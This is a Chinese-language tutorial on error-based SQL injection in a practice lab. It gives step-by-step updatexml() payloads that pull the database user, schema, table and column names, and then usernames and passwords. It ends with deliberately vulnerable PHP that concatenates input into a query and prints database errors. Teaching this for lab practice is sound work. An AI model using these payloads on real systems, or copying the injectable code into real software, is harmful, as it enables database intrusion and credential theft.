SQL注入基础:3.报错注入
3.1 报错注入攻击
1)考虑使用报错注入
URL:http://www.tianchi.com/web/error.php?username=1
URL:http://www.tianchi.com/web/error.php?username=1'
由于多了一个',SQL语句执行时会报错。
而这里程序直接将错误信息输出到了页面上,所以可以利用报错注入来获取数据。
2)获取user()的值
报错注入有多种格式,这里使用updatexml()函数,其中0x7e为ASCII编码,解码为~。
语句:' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
URL:http://www.tianchi.com/web/error.php?username=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
3)获取数据库库名
(1)获取当前数据库库名
语句:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
URL:http://www.tianchi.com/web/error.php?username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
(2)获取数据库库名
语句:' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
URL:http://www.tianchi.com/web/error.php?username=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
修改limit中第一个数字,如获取第二个库名:limit 1,1。
数据库库名:information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform
4)获取数据库表名
获取数据库security的表名,语句:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
URL:http://www.tianchi.com/web/error.php?username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
修改limit中第一个数字,如获取第二个表名:limit 1,1
所有表名是:emails,referers,uagents,users
5)获取字段名
获取users表的字段名,语句:
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+
URL:http://www.tianchi.com/web/error.php?username=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+
修改limit中第一个数字,如获取users表第二个字段名:limit 1,1
所有字段名:id,username,password
6)获取数据
获取users表的数据,语句:
' and updatexml(1,concat(0x7e,(select id,username,password from security.users limit 0,1),0x7e),1)--+
URL:http://www.tianchi.com/web/error.php?username=1' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+
修改字段名和limit中第一个数字,就可以获取users表的数据。
获取users表前三条数据如下:
username password
Dumb Dumb
Angelina I-kill-you
Dummy p@ssword
3.2报错注入PHP代码
<?php
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","root","security");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}
$username=$_GET['username'];
$result=mysqli_query($con,"select * from users where username='".$username."'");
$row=mysqli_fetch_array($result);
if ($row) {
echo $row['username']."欢迎登录!";
}else{
echo mysqli_error($con);
}
?>